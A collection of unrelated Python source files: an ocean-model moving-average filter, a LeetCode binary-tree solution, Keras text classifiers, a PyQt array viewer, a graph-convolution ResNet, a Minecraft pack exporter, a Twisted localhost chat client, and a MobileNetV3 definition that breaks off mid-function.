#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
Script to calculate a moving average from CROCO output data for very large
datasets
@author: noam
"""

from netCDF4 import Dataset
from scipy.ndimage import convolve1d
import numpy as np
import sys
import os
from progress.bar import Bar

##############################################################################
# Parameters #################################################################
##############################################################################

out_freq = 3    # Hours
window   = 24   # Hours

in_fh = '1993_vis.nc'
out_fh = '1993_vis_filtered.nc'

variables = ['temp_surf']

##############################################################################
# File locations #############################################################
##############################################################################

this_dir = os.path.dirname(os.path.realpath(__file__))
in_fh = this_dir + '/' + in_fh
out_fh = this_dir + '/' + out_fh

##############################################################################
# Generate output file #######################################################
##############################################################################

# Firstly load to obtain dimensions
with Dataset(in_fh, mode='r') as nc:
    print('Loading files...')
    time = np.shape(nc.variables['time_counter_bounds'][:, 0])[0]
    lon = nc.variables['lon_rho'][:]
    lat = nc.variables['lat_rho'][:]

# Now generate the output file
with Dataset(out_fh, mode='w') as nc:
    print('Generating output netcdf...')
    # Create the dimensions
    nc.createDimension('time', time)
    nc.createDimension('lon', np.shape(lon)[1])
    nc.createDimension('lat', np.shape(lon)[0])

    # Create the time axis
    nc.createVariable('time', 'f8', ('time'), zlib=True)
    nc.variables['time'].long_name = 'seconds_since_start'
    nc.variables['time'].units = 'seconds'
    nc.variables['time'].field = 'time, scalar, series'
    nc.variables['time'].standard_name = 'seconds_since_start'
    nc.variables['time'][:] = time

    nc.createVariable('longitude', 'f8', ('lat', 'lon'), zlib=True)
    nc.variables['longitude'].long_name = 'longitude'
    nc.variables['longitude'].units = 'degrees_east'
    nc.variables['longitude'].field = 'longitude, scalar, series'
    nc.variables['longitude'].standard_name = 'longitude'
    nc.variables['longitude'][:] = lon

    nc.createVariable('latitude', 'f8', ('lat', 'lon'), zlib=True)
    nc.variables['latitude'].long_name = 'latitude'
    nc.variables['latitude'].units = 'degrees_north'
    nc.variables['latitude'].field = 'latitude, scalar, series'
    nc.variables['latitude'].standard_name = 'latitude'
    nc.variables['latitude'][:] = lat

    # Create the other variables
    if 'temp_surf' in variables:
        nc.createVariable('sst', 'f8', ('time', 'lat', 'lon'))
        nc.variables['sst'].long_name = 'filtered_sea_surface_temperature'
        nc.variables['sst'].units = 'Celsius'
        nc.variables['sst'].field = 'temperature, scalar, series'
        nc.variables['sst'].standard_name = 'sst'
        nc.variables['sst'].coordinates = 'lat lon'
    if 'salt_surf' in variables:
        nc.createVariable('sss', 'f8', ('time', 'lat', 'lon'))
        nc.variables['sss'].long_name = 'filtered_sea_surface_salinity'
        nc.variables['sss'].units = 'PSU'
        nc.variables['sss'].field = 'salinity, scalar, series'
        nc.variables['sss'].standard_name = 'sss'
        nc.variables['sss'].coordinates = 'lat lon'
    if 'zeta' in variables:
        nc.createVariable('ssh', 'f8', ('time', 'lat', 'lon'))
        nc.variables['ssh'].long_name = 'filtered_sea_surface_height'
        nc.variables['ssh'].units = 'meter'
        nc.variables['ssh'].field = 'free-surface, scalar, series'
        nc.variables['ssh'].standard_name = 'ssh'
        nc.variables['ssh'].coordinates = 'lat lon'

# Set up the filter
window_len = int(window/out_freq)
croco_filter = (1/window_len)*np.ones(window_len)

# Then loop through the columns
bar = Bar('Filtering data...', max=np.shape(lon)[0])
for i in range(np.shape(lon)[0]):
    with Dataset(in_fh, mode='r') as nc:
        if 'temp_surf' in variables:
            temp = nc.variables['temp_surf'][:, i, :]
            temp = convolve1d(temp, croco_filter, axis=0)
        if 'salt_surf' in variables:
            salt = nc.variables['salt_surf'][:, i, :]
            salt = convolve1d(salt, croco_filter, axis=0)
        if 'zeta' in variables:
            zeta = nc.variables['zeta'][:, i, :]
            zeta = convolve1d(zeta, croco_filter, axis=0)

    with Dataset(out_fh, mode='r+') as nc:
        if 'temp_surf' in variables:
            nc.variables['sst'][:, i, :] = temp
        if 'salt_surf' in variables:
            nc.variables['sss'][:, i, :] = salt
        if 'zeta' in variables:
            nc.variables['ssh'][:, i, :] = zeta

    bar.next()
bar.finish()

print('Processing complete!')


# Definition for a  binary tree node
class TreeNode:
    def __init__(self, x):
        self.val = x
        self.left = None
        self.right = None

# Definition for singly-linked list.
class ListNode:
    def __init__(self, x):
        self.val = x
        self.next = None

class Solution:
    # @param head, a list node
    # @return a tree node
    def sortedListToBST(self, head):

        [head,left,right] = self.findMidNode(head)
        if(head == None):
            return(None)
        else:
            root = TreeNode(head.val)
            if(left!=None):
                root.left = self.sortedListToBST(left)
            if(right!=None):
                root.right = self.sortedListToBST(right)
            return(root)

    def findMidNode(self, head):
        num = 0
        p = ListNode(0)
        p.next = head
        while(p.next!=None):
            num +=1
            p.next = p.next.next
        if(num == 0):
            return ([None,None,None])
        elif(num ==1):
            return ([head,None,None])
        elif(num == 2):
            p.next = head.next
            head.next = None
            return ([p.next,head, None])
        p.next = head
        for i in range(0, num//2-1):
            p.next = p.next.next
        root = ListNode(0)
        root.next = p.next.next
        p.next.next = None
        q = ListNode(0)
        q.next = root.next.next
        return([root.next,head, q.next])

def BuildList(data):
    head = ListNode(data[0])
    p= head
    for i in range(1, len(data)):
        p.next = ListNode(data[i])
        p=p.next
    return(head)
def trasverse(root):
    if(root == None):
        return
    else:
        trasverse(root.left)
        print(root.val)
        trasverse(root.right)

testData=[1,2,3,4,5,6,7,8]
ss= Solution()
result = ss.sortedListToBST(BuildList(testData))
trasverse(result)

2015/Convert Sorted List to Binary Search Tree.py


import tensorflow as tf
import numpy as np
import pandas as pd
import pickle
from nltk import tokenize
from sklearn.model_selection import train_test_split
from sklearn.preprocessing import MultiLabelBinarizer
from sklearn.utils import class_weight

from tensorflow.python.keras import models, initializers, regularizers
from tensorflow.python.keras.metrics import BinaryAccuracy, Accuracy
from tensorflow.python.keras.preprocessing.text import Tokenizer
from tensorflow.python.keras.preprocessing.sequence import pad_sequences
from tensorflow.python.keras.layers import Dense, Conv1D, Dropout, Embedding, LSTM, SpatialDropout1D, GlobalMaxPool1D, Bidirectional

from tensorflow.python.keras.callbacks import EarlyStopping
from helper import load_glove_embedding, return_labels, Dataset
from lstm_attention_model import AttentionLSTM, train_part, evaluate, predict_labels

_embedding_index_glove = None

class TextClassifier:

    def __init__(self, tokenizer, label_index, max_word_count = 50000, max_sequence_len = 100,
                 word_embedding_dim = 50, verbose=1):
        self.max_word_count = max_word_count
        self.max_sequence_len = max_sequence_len
        self.embedding_dim = word_embedding_dim
        self.tokenizer = tokenizer
        self.label_index = label_index
        self.history = None
        self.model = None
        self.embedding_matrix_glove = None
        self.verbose = verbose

    def _train_LSTM(self, X_train, y_train, epochs = 5, batch_size = 64, learning_rate = 0.001, reg = 0.01):
        """
        Trains LSTM
        - X_train: Input sequence
        - y_train: Target sequence
        - epochs
        - batch_size
        - learning_rate = Adam optimizer's learning rate
        - reg: Regularization
        Returns :
        - history: Scalar loss
        """

        flatten_y = [category for sublist in y_train for category in sublist]
        class_weights = class_weight.compute_class_weight('balanced', np.unique(flatten_y), flatten_y)
        optim = tf.keras.optimizers.Adam(learning_rate=learning_rate)

        model = models.Sequential()
        model.add(Embedding(input_dim=self.max_word_count, output_dim=self.embedding_dim))
        model.add(SpatialDropout1D(0.2))
        model.add(LSTM(100, dropout=0.2, recurrent_dropout=0.2))
        model.add(Dense(32, activation='relu'))
        model.add(Dense(8, activation='sigmoid'))
        model.compile(loss='binary_crossentropy', optimizer=optim, metrics=[BinaryAccuracy()])

        history = model.fit(X_train, y_train, class_weight = class_weight, epochs = epochs,
                    batch_size=batch_size, validation_split=0.25, verbose = self.verbose,
                    callbacks=[EarlyStopping(monitor='val_loss', patience=3, min_delta=0.0001)])

        self.model = model
        self.history = history.history

    def _train_LSTM_1(self, X_train, y_train, epochs = 5, batch_size = 64, learning_rate = 0.001, reg = 0.01):
        """
        Trains LSTM
        - X_train: Input sequence
        - y_train: Target sequence
        - epochs
        - batch_size
        - learning_rate = Adam optimizer's learning rate
        - reg: Regularization
        Returns :
        - history: Scalar loss
        """
        flatten_y = [category for sublist in y_train for category in sublist]
        class_weights = class_weight.compute_class_weight('balanced', np.unique(flatten_y), flatten_y)
        optim = tf.keras.optimizers.Adam(learning_rate=learning_rate)

        model = models.Sequential()
        model.add(Embedding(self.max_word_count, 64))
        model.add(Bidirectional(LSTM(64, return_sequences=True)))
        model.add(Bidirectional(LSTM(32)))
        model.add(Dense(64, kernel_regularizer=regularizers.l2(reg), activation='relu'))
        model.add(Dropout(0.5))
        model.add(Dense(8, activation='sigmoid'))
        model.compile(loss='binary_crossentropy', optimizer=optim, metrics=[BinaryAccuracy()])

        history = model.fit(X_train, y_train, class_weight = class_weight, epochs = epochs,
            batch_size=batch_size, validation_split=0.25, verbose = self.verbose,
            callbacks=[EarlyStopping(monitor='val_loss', patience=3, min_delta=0.0001)])

        self.model = model
        self.history = history.history

    def _train_CNN(self, X_train, y_train, epochs = 5, batch_size = 64, learning_rate = 0.001, regularization = 0.01):
        """
        Trains CNN
        - X_train: Input sequence
        - y_train: Target sequence
        - epochs
        - batch_size
        - learning_rate = Adam optimizer's learning rate
        - reg: Regularization
        Returns :
        - history: Scalar loss
        """
        flatten_y = [category for sublist in y_train for category in sublist]
        class_weights = class_weight.compute_class_weight('balanced', np.unique(flatten_y), flatten_y)
        optim = tf.keras.optimizers.Adam(learning_rate=learning_rate)

        model = models.Sequential()
        model.add(Embedding(input_dim=self.max_word_count, output_dim=self.embedding_dim))
        model.add(Conv1D(filters=300, kernel_size=3, padding='valid', activation='relu', strides=1))
        model.add(GlobalMaxPool1D())
        model.add(Dense(8, activation='sigmoid'))
        model.compile(loss='binary_crossentropy', optimizer=optim, metrics=[BinaryAccuracy()])
        history = model.fit(X_train, y_train, class_weight = class_weight, epochs = epochs,
                            batch_size=batch_size, validation_split=0.25, verbose = self.verbose,
                            callbacks=[EarlyStopping(monitor='val_loss', patience=3, min_delta=0.0001)])

        self.model = model
        self.history = history.history

    def _train_CNN_Glove(self, X_train, y_train, epochs = 5, batch_size = 64, learning_rate = 0.001, regularization = 0.01):
        """
        Trains CNN
        - X_train: Input sequence
        - y_train: Target sequence
        - epochs
        - batch_size
        - learning_rate = Adam optimizer's learning rate
        - reg: Regularization
        Returns :
        - history: Scalar loss
        """
        flatten_y = [category for sublist in y_train for category in sublist]
        class_weights = class_weight.compute_class_weight('balanced', np.unique(flatten_y), flatten_y)
        optim = tf.keras.optimizers.Adam(learning_rate=learning_rate)

        embedding_matrix = self.create_embedding_matrix()

        model = models.Sequential()
        model.add(Embedding(input_dim=self.max_word_count, output_dim=100,
                            embeddings_initializer = initializers.Constant(embedding_matrix),
                            input_length=self.max_sequence_len, trainable=False))
        model.add(Conv1D(filters=300, kernel_size=3, padding='valid', activation='relu', strides=1))
        model.add(GlobalMaxPool1D())
        model.add(Dense(8, activation='sigmoid'))
        model.compile(loss='binary_crossentropy', optimizer=optim, metrics=[BinaryAccuracy()])
        history = model.fit(X_train, y_train, class_weight = class_weight, epochs = epochs,
                            batch_size=batch_size, validation_split=0.25, verbose = self.verbose,
                            callbacks=[EarlyStopping(monitor='val_loss', patience=3, min_delta=0.0001)])

        self.model = model
        self.history = history.history

    def _train_CNN_Glove_1(self, X_train, y_train, epochs = 5, batch_size = 64, learning_rate = 0.001, regularization = 0.01):
        """
        Trains CNN
        - X_train: Input sequence
        - y_train: Target sequence
        - epochs
        - batch_size
        - learning_rate = Adam optimizer's learning rate
        - reg: Regularization
        Returns :
        - history: Scalar loss
        """
        flatten_y = [category for sublist in y_train for category in sublist]
        class_weights = class_weight.compute_class_weight('balanced', np.unique(flatten_y), flatten_y)
        optim = tf.keras.optimizers.Adam(learning_rate=learning_rate)

        embedding_matrix = self.create_embedding_matrix()

        model = models.Sequential()
        model.add(Embedding(self.max_word_count, 100, embeddings_initializer = initializers.Constant(embedding_matrix),
                            input_length=self.max_sequence_len, trainable=False))
        model.add(Conv1D(filters=128, kernel_size=5, padding='valid', activation='relu', strides=1))
        model.add(Conv1D(filters=256, kernel_size=3, padding='valid', activation='relu', strides=1))
        model.add(GlobalMaxPool1D())
        model.add(Dense(8, activation='sigmoid'))
        model.compile(loss='binary_crossentropy', optimizer=optim, metrics=[BinaryAccuracy()])
        history = model.fit(X_train, y_train, class_weight = class_weight, epochs = epochs,
                            batch_size=batch_size, validation_split=0.25,
                            callbacks=[EarlyStopping(monitor='val_loss', patience=3, min_delta=0.0001)])

        self.model = model
        self.history = history.history

    def _train_MLP(self, X_train, y_train, epochs = 5, batch_size = 64, learning_rate = 0.001, reg = 0.01):
        """
        Trains LSTM
        - X_train: Input sequence
        - y_train: Target sequence
        - epochs
        - batch_size
        - learning_rate = Adam optimizer's learning rate
        - reg: Regularization
        Returns :
        - history: Scalar loss
        """
        flatten_y = [category for sublist in y_train for category in sublist]
        class_weights = class_weight.compute_class_weight('balanced', np.unique(flatten_y), flatten_y)
        optim = tf.keras.optimizers.Adam(learning_rate=learning_rate)

        model = models.Sequential()
        model.add(Dense(512, activation='relu', kernel_regularizer=regularizers.l2(reg), input_shape=(self.max_sequence_len,)))
        model.add(Dropout(0.2))
        for _ in range(3):
            model.add(Dense(256, activation='relu'))
            model.add(Dropout(0.2))
        model.add(Dense(8, activation='sigmoid'))
        model.compile(loss='binary_crossentropy', optimizer=optim, metrics=[BinaryAccuracy()])
        history = model.fit(X_train, y_train, class_weight = class_weight, epochs = epochs,
                            batch_size=batch_size, validation_split=0.25, verbose = self.verbose,
                            callbacks=[EarlyStopping(monitor='val_loss', patience=3, min_delta=0.0001)])

        self.model = model
        self.history = history.history

    def _train_Attention(self, X_train, y_train, epochs = 5, batch_size = 64, learning_rate = 0.001, reg = 0.01):
        """
        Trains BI-LSTM with Attention. Reference: https://www.aclweb.org/anthology/P16-2034/
        Note: this is model has a different api and was included here to be compatible with the cross-validation
        code in the notebook.
        - X_train: Input sequence
        - y_train: Target sequence
        - epochs
        - batch_size
        - learning_rate = Adam optimizer's learning rate
        - reg: Regularization
        Returns :
        - history: Scalar loss
        """
        X_train, X_val, y_train, y_val = train_test_split(X_train, y_train, test_size=0.25, random_state=1)
        # Split data into batches of 64
        train_dset = Dataset(X_train, y_train, batch_size=batch_size, shuffle=True)
        val_dset = Dataset(X_val, y_val, batch_size=batch_size, shuffle=True)

        model = AttentionLSTM(self.max_sequence_len, self.embedding_dim)

        history = train_part(model, train_dset, val_dset,num_epochs=10,
                             is_training=True, learning_rate=learning_rate, verbose=self.verbose)

        # Update the key name for consistency.
        history['binary_accuracy'] = history.pop('accuracy')
        history['val_binary_accuracy'] = history.pop('val_accuracy')

        self.model = model
        self.history = history

    def train(self, X_train, y_train, model_name, epochs = 5, batch_size = 64,
                   learning_rate = 0.001, regularization = 0.01):
        """
        An api for training the model
        - X_train: Input sequence
        - y_train: Target sequence
        - epochs
        - batch_size
        - learning_rate = Adam optimizer's learning rate
        - reg: Regularization
        Returns :
        - history: Scalar loss
        """
        if model_name == 'LSTM':
            self._train_LSTM(X_train, y_train, epochs, batch_size, learning_rate, regularization)
        elif model_name == 'CNN':
            self._train_CNN(X_train, y_train, epochs, batch_size, learning_rate, regularization)
        elif model_name == 'MLP':
            self._train_MLP(X_train, y_train, epochs, batch_size, learning_rate, regularization)
        elif model_name == 'CNN_Glove':
            self._train_CNN_Glove(X_train, y_train, epochs, batch_size, learning_rate, regularization)
        elif model_name == 'Attention':
            self._train_Attention(X_train, y_train, epochs, batch_size, learning_rate, regularization)
        else:
            raise ValueError('Model not defined')

        return self.history

    def predict(self, review):
        """
        This function takes in a list of sentences as input, performs binary classification for each
        of the categories, and selects a sentence for prediction if it's confidence is > 0.5 for a
        particular category.

        Note: The Attention model has a different api and won't be supported here.

        - review: list of sentences to be classified
        - model_name: Model type
        Returns :
        - prediction_list: A list of important sentences in the form of (confidence, category, sentence)
        """
        seq = self.tokenizer.texts_to_sequences(review)
        padded = pad_sequences(seq, maxlen = self.max_sequence_len)

        pred = self.model.predict(padded)

        filtered_indices = np.where(np.array(pred) > 0.5)
        i_review, j_label = filtered_indices[0], filtered_indices[1]

        prediction_list = return_labels(i_review, j_label, pred, review, self.label_index)

        return prediction_list

    def evaluate(self, X_test, y_test):
        """
        Model evaluation on the test set. It uses the binary accuracy metric to compute the score

        Note: The Attention model has a different api and won't be supported here.

        - X_test:
        - y_test:
        Returns :
        - test_loss: Binary cross entropy loss
        - test_acc: binary accuracy score
        """
        test_loss, test_acc = self.model.evaluate(X_test,y_test)

        return test_loss, test_acc

    def create_embedding_matrix(self):
        """
        Model evaluation on the test set. It uses the binary accuracy metric to compute the score

        Note: The Attention model has a different api and won't be supported here.

        - X_test:
        - X_test:
        Returns :
        - test_loss: Binary cross entropy loss
        - test_acc: binary accuracy score
        """
        self.load_glove()

        embedding_matrix = np.zeros((50000, 100))
        for word, index in self.tokenizer.word_index.items():
            if index > 50000 - 1:
                break
            else:
                if word in _embedding_index_glove:
                    embedding_matrix[index] = _embedding_index_glove[word]

        return embedding_matrix

    def load_glove(self):
        """
        This function loads the glove embedding values in the global variable.
        It avoids reloading the same instance over and over.
        """
        global _embedding_index_glove

        if _embedding_index_glove is None:
            _embedding_index_glove =  load_glove_embedding()

def tokenize_data(X, y, max_word_count=50000, max_sequence_len=100):
    """
    This function tokenizes the text blocks, pads the tokenized text blocks to
    have uniform length.
    - X: list of strings
    - y: list of strings
    - max_word_count:
    - max_sequence_len:
    Returns :
    - X_tokenized: Tokenized X
    - y_tokenized: Tokenized y
    - tokenizer: tokenizer object, which contains all the mapping of words and indices
    - label_index: index to word mapping, a dict
    """
    tokenizer = Tokenizer(num_words=max_word_count, filters='!"#$%&()*+,-./:;<=>?@[\]^_`{|}~', lower=True)
    tokenizer.fit_on_texts(X)
    word_index = tokenizer.word_index

    X_tokenized = tokenizer.texts_to_sequences(X)
    X_tokenized = pad_sequences(X_tokenized, maxlen = max_sequence_len)

    mlb = MultiLabelBinarizer()
    y_tokenized = mlb.fit_transform(y)

    label_index = mlb.classes_

    print('Shape of data tensor:', X.shape)
    print('Found %s unique tokens.' % len(word_index))

    return X_tokenized, y_tokenized, tokenizer, label_index

def split_to_sentences(paragraph):
    """
    This function uses the nltk library to split a document into sentences
    - paragraph: String
    Returns :
    - tokenized: list of sentences
    """
    return tokenize.sent_tokenize(paragraph)

def clean_data(text):
    """
    This function cleans up the string by removing trailing spaces and punctutations.
    - text: String
    Returns :
    - text:
    """
    text = text.lower().strip()
    text = text.strip(".")
    # Remove double space
    # Trim input?
    return text

def extract_text_blocks(review):
    """
    This functions splits the string into sentence, then does basic text cleansing
    and flattens the list of sentences.
    - review: Review in the form of a string
    Returns :
    - flat_list: A flattened list of sentences
    """
    sentences = split_to_sentences(review)
    #text_block = [sentence.split(",") for sentence in sentences]
    #flat_list = [clean_data(block) for sublist in text_block for block in sublist]
    #return flat_list
    return sentences


"""
super light n-d array viewer (like napari) to help debugging
author: jelmer cnossen 2021/2022
license: public domain
"""
from PyQt5.QtCore import Qt
from PyQt5.QtWidgets import QSlider,QMenuBar
from PyQt5 import QtWidgets
import pyqtgraph as pg
import sys
import numpy as np
from PyQt5.QtWidgets import QApplication

def needs_qt(func):
    """
    Decorator to make sure QApplication is only instantiated once
    """
    def run(*args,**kwargs):
        app = QApplication.instance()
        appOwner = app is None
        if appOwner:
            app = QApplication(sys.argv)

        r = func(*args,**kwargs)

        if appOwner:
            del app

        return r
    return run

class ImageViewWindow(QtWidgets.QDialog):
    def __init__(self, img, event_listener, *args, **kwargs):
        super(ImageViewWindow, self).__init__(*args, **kwargs)

        self.setWindowTitle('Image Viewer')
        self.event_listener = event_listener

        self.menu=QMenuBar()
        ltop = QtWidgets.QHBoxLayout()

        layout = QtWidgets.QVBoxLayout()
        ltop.addLayout(layout)
        ltop.setMenuBar(self.menu)

        ctlLayout = QtWidgets.QGridLayout()

        sliders=[]
        for i in range( len(img.shape)-2 ):
            slider = QSlider(Qt.Horizontal)
            slider.setFocusPolicy(Qt.StrongFocus)
            slider.setTickPosition(QSlider.TicksBothSides)
            slider.setTickInterval(10)
            slider.setSingleStep(1)
            slider.setMaximum(img.shape[i]-1)
            slider.valueChanged.connect(self.sliderChange)
            layout.addWidget(slider)#, 0, 0)
            sliders.append(slider)
        self.sliders=sliders

        self.info = QtWidgets.QLabel()
        ctlLayout.addWidget(self.info, 0, 2, Qt.AlignLeft)

        layout.addLayout(ctlLayout)
        view = pg.ImageView()
        layout.addWidget(view)
        self.view = view
        self.imv = view.imageItem
        self.imv.scene().sigMouseClicked.connect(self.mouseClicked)

        self.setLayout(ltop)

        self.imv.setImage(img)
        self.data = img
        self.sliderChange()

    def mouseClicked(self, event):
        pos = event.scenePos() # event.pos() depends on which item is clicked

        image_pos = self.imv.mapFromDevice(pos)
        #print(f'device pos: {pos}, image pos: {image_pos}')

        if self.event_listener is not None:
            self.event_listener('click', self, event, image_pos)

    def sliderChange(self):
        d = self.data
        ix=[]
        for s in self.sliders:
            ix.append(s.value())
            d=d[s.value()]
        self.imv.setImage(d.T)
        self.info.setText("["+','.join([str(i) for i in ix])+']')

    def __enter__(self):
        return self

    def __exit__(self, *args):
        #self.closeCamera()
        ...

    def closeEvent(self, event):
        #print('close event')
        #self.closeCamera()
        event.accept()

@needs_qt
def view_images(img, title=None, modal=True, parent=None,event_listener=None):
    if getattr(img, "cpu", None): # convert torch tensors without importing torch
        img = img.cpu().numpy()
    w = ImageViewWindow(np.array(img), parent=parent, event_listener=event_listener)
    w.setModal(modal)
    if title is not None:
        w.setWindowTitle(title)
    if modal:
        w.exec_()
    else:
        w.show()
    return w

if __name__ == '__main__':
    img = np.random.uniform(0, 100, size=(20,5,200,200)).astype(np.uint8)

    def click_handler(event, wnd : ImageViewWindow, ev, pos):
        w = 10
        wnd.view.addItem(pg.RectROI((pos.x() - w/2, pos.y()-w/2), (w,w)))

    v = view_images(img, event_listener = click_handler)


import torchvision.models as models
from torch.nn import Parameter
from util import *
import torch
import torch.nn as nn

class GraphConvolution(nn.Module):
    """
    Simple GCN layer, similar to https://arxiv.org/abs/1609.02907
    """

    def __init__(self, in_features, out_features, bias=False):
        super(GraphConvolution, self).__init__()
        self.in_features = in_features
        self.out_features = out_features
        self.weight = Parameter(torch.Tensor(in_features, out_features))
        if bias:
            self.bias = Parameter(torch.Tensor(1, 1, out_features))
        else:
            self.register_parameter('bias', None)
        self.reset_parameters()

    def reset_parameters(self):
        stdv = 1. / math.sqrt(self.weight.size(1))
        self.weight.data.uniform_(-stdv, stdv)
        if self.bias is not None:
            self.bias.data.uniform_(-stdv, stdv)

    def forward(self, input, adj):
        support = torch.matmul(input, self.weight)
        output = torch.matmul(adj, support)
        if self.bias is not None:
            return output + self.bias
        else:
            return output

    def __repr__(self):
        return self.__class__.__name__ + ' (' \
               + str(self.in_features) + ' -> ' \
               + str(self.out_features) + ')'

class GCNResnet(nn.Module):
    def __init__(self, model, num_classes, in_channel=300, t=0, adj_file=None):
        super(GCNResnet, self).__init__()
        self.features = nn.Sequential(
            model.conv1,
            model.bn1,
            model.relu,
            model.maxpool,
            model.layer1,
            model.layer2,
            model.layer3,
            model.layer4,
        )
        self.num_classes = num_classes
        self.pooling = nn.MaxPool2d(14, 14)

        self.gc1 = GraphConvolution(in_channel, 1024)
        self.gc2 = GraphConvolution(1024, 2048)
        self.relu = nn.LeakyReLU(0.2)

        _adj = gen_A(num_classes, t, adj_file)
        self.A = Parameter(torch.from_numpy(_adj).float())
        # image normalization
        self.image_normalization_mean = [0.485, 0.456, 0.406]
        self.image_normalization_std = [0.229, 0.224, 0.225]

    def forward(self, feature, inp):
        feature = self.features(feature)
        feature = self.pooling(feature)
        feature = feature.view(feature.size(0), -1)

        inp = inp[0]
        adj = gen_adj(self.A).detach()
        x = self.gc1(inp, adj)
        x = self.relu(x)
        x = self.gc2(x, adj)

        x = x.transpose(0, 1)
        x = torch.matmul(feature, x)
        return x

    def get_config_optim(self, lr, lrp):
        return [
                {'params': self.features.parameters(), 'lr': lr * lrp},
                {'params': self.gc1.parameters(), 'lr': lr},
                {'params': self.gc2.parameters(), 'lr': lr},
                ]

def gcn_resnet101(num_classes, t, pretrained=False, adj_file=None, in_channel=300):
    model = models.resnet101(pretrained=pretrained)
    return GCNResnet(model, num_classes, t=t, adj_file=adj_file, in_channel=in_channel)


#!/usr/bin/env python3
# Simple https://github.com/mcRPW/rpw projects exporter
# Ignores all setting files (for now), but still does the job
# Contributions are welcome
from zipfile import ZipFile
from pathlib import Path
from sys import argv
from os import walk
from json import dumps

if len(argv) != 3:
    print("Usage: {} [project root] [output.zip]".format(argv[0]))
    exit(2)

project_root = Path(argv[1])
project_files = project_root / "project_files"
extras_directory = project_root / "extra_files"
custom_sounds = project_root / "custom_sounds"
custom_languages = project_root / "custom_languages"

pack_description = ""
pack_version = 6

def add_tree(zipf, path_from, path_to=""):
    for (dpath, _, fnames) in walk(path_from):
        for fname in fnames:
            realpath = Path(dpath, fname)
            relpath = realpath.relative_to(path_from)
            zipf.write(realpath, Path(path_to, relpath))
            print(" + {}".format(relpath))

with ZipFile(argv[2], "w") as zipf:
    add_tree(zipf, extras_directory)
    add_tree(zipf, custom_sounds, "assets/minecraft/sounds")
    add_tree(zipf, custom_languages, "assets/minecraft/lang")
    zipf.write(project_root / "sounds.json", "assets/minecraft/sounds.json")
    zipf.writestr("pack.mcmeta", dumps({
        "pack": {
            "pack_format": pack_version,
            "description": pack_description
        }
    }, indent=2))
    add_tree(zipf, project_files)
    zipf.write(project_root / "pack.png", "pack.png")


from twisted.internet import reactor, protocol
from twisted.internet.protocol import ClientFactory, Protocol
port = 9090
class ClientChat(Protocol):
     def connectionMade(self):
         login = input('Enter your  login')
         fio = input('Enter your  FIO:')
         addres = input('Enter  your  address:')
         a1 = {}
         a1['login'] = login
         a1['fio'] = fio
         a1['addres'] = addres
         data2 = ','.join([f'{key},{value}' for key, value in a1.items()])
         a = data2.encode('utf-8')
         self.transport.write(a)
     def dataReceived(self, data: str):
         print(data)
         self.connectionMade()

class ClientChatFactory(ClientFactory):
    def startedConnecting(self, connector):
        print('connected')
    def buildProtocol(self, addr):
         return ClientChat()
    def clientConnectionFailed(self, connector, reason):
        print('ConnectionFailed, reason:', reason)
        reactor.stop()
    def clientConnectionLost(self, connector, reason):
        print('ConnectionLost, reason:', reason)
        connector.connect()
reactor.connectTCP('localhost',port, ClientChatFactory())
reactor.run()


from __future__ import absolute_import
from __future__ import division
from __future__ import print_function

import paddle.fluid as fluid
from paddle.fluid.param_attr import ParamAttr

__all__ = [
    'MobileNetV3', 'MobileNetV3_small_x0_35', 'MobileNetV3_small_x0_5',
    'MobileNetV3_small_x0_75', 'MobileNetV3_small_x1_0',
    'MobileNetV3_small_x1_25', 'MobileNetV3_large_x0_35',
    'MobileNetV3_large_x0_5', 'MobileNetV3_large_x0_75',
    'MobileNetV3_large_x1_0', 'MobileNetV3_large_x1_25'
]

class MobileNetV3():
    def __init__(self,
                 scale=1.0,
                 model_name='small',
                 lr_mult_list=[1.0, 1.0, 1.0, 1.0, 1.0],
                 output_stride=None):
        self.scale = scale
        self.inplanes = 16

        self.lr_mult_list = lr_mult_list
        assert len(self.lr_mult_list) == 5, \
            "lr_mult_list length in MobileNetV3 must be 5 but got {}!!".format(
            len(self.lr_mult_list))
        self.curr_stage = 0
        self.decode_point = None
        self.end_point = None

        if model_name == "large":
            self.cfg = [
                # k, exp, c,  se,     nl,  s,
                [3, 16, 16, False, 'relu', 1],
                [3, 64, 24, False, 'relu', 2],
                [3, 72, 24, False, 'relu', 1],
                [5, 72, 40, True, 'relu', 2],
                [5, 120, 40, True, 'relu', 1],
                [5, 120, 40, True, 'relu', 1],
                [3, 240, 80, False, 'hard_swish', 2],
                [3, 200, 80, False, 'hard_swish', 1],
                [3, 184, 80, False, 'hard_swish', 1],
                [3, 184, 80, False, 'hard_swish', 1],
                [3, 480, 112, True, 'hard_swish', 1],
                [3, 672, 112, True, 'hard_swish', 1],
                # The number of channels in the last 4 stages is reduced by a
                # factor of 2 compared to the standard implementation.
                [5, 336, 80, True, 'hard_swish', 2],
                [5, 480, 80, True, 'hard_swish', 1],
                [5, 480, 80, True, 'hard_swish', 1],
            ]
            self.cls_ch_squeeze = 480
            self.cls_ch_expand = 1280
            self.lr_interval = 3
        elif model_name == "small":
            self.cfg = [
                # k, exp, c,  se,     nl,  s,
                [3, 16, 16, True, 'relu', 2],
                [3, 72, 24, False, 'relu', 2],
                [3, 88, 24, False, 'relu', 1],
                [5, 96, 40, True, 'hard_swish', 2],
                [5, 240, 40, True, 'hard_swish', 1],
                [5, 240, 40, True, 'hard_swish', 1],
                [5, 120, 48, True, 'hard_swish', 1],
                [5, 144, 48, True, 'hard_swish', 1],
                # The number of channels in the last 4 stages is reduced by a
                # factor of 2 compared to the standard implementation.
                [5, 144, 48, True, 'hard_swish', 2],
                [5, 288, 48, True, 'hard_swish', 1],
                [5, 288, 48, True, 'hard_swish', 1],
            ]
            self.cls_ch_squeeze = 288
            self.cls_ch_expand = 1280
            self.lr_interval = 2
        else:
            raise NotImplementedError(
                "mode[{}_model] is not implemented!".format(model_name))

        self.modify_bottle_params(output_stride)

    def modify_bottle_params(self, output_stride=None):
        if output_stride is not None and output_stride % 2 != 0:
            raise Exception("output stride must to be even number")
        if output_stride is None:
            return
        else:
            stride = 2
            for i, _cfg in enumerate(self.cfg):
                stride = stride * _cfg[-1]
                if stride > output_stride:
                    s = 1
                    self.cfg[i][-1] = s

    def net(self, input, class_dim=1000, end_points=None, decode_points=None):
        scale = self.scale
        inplanes = self.inplanes
        cfg = self.cfg
        cls_ch_squeeze = self.cls_ch_squeeze
        cls_ch_expand = self.cls_ch_expand

        # conv1
        conv = self.conv_bn_layer(
            input,
            filter_size=3,
            num_filters=self.make_divisible(inplanes * scale),
            stride=2,
            padding=1,
            num_groups=1,
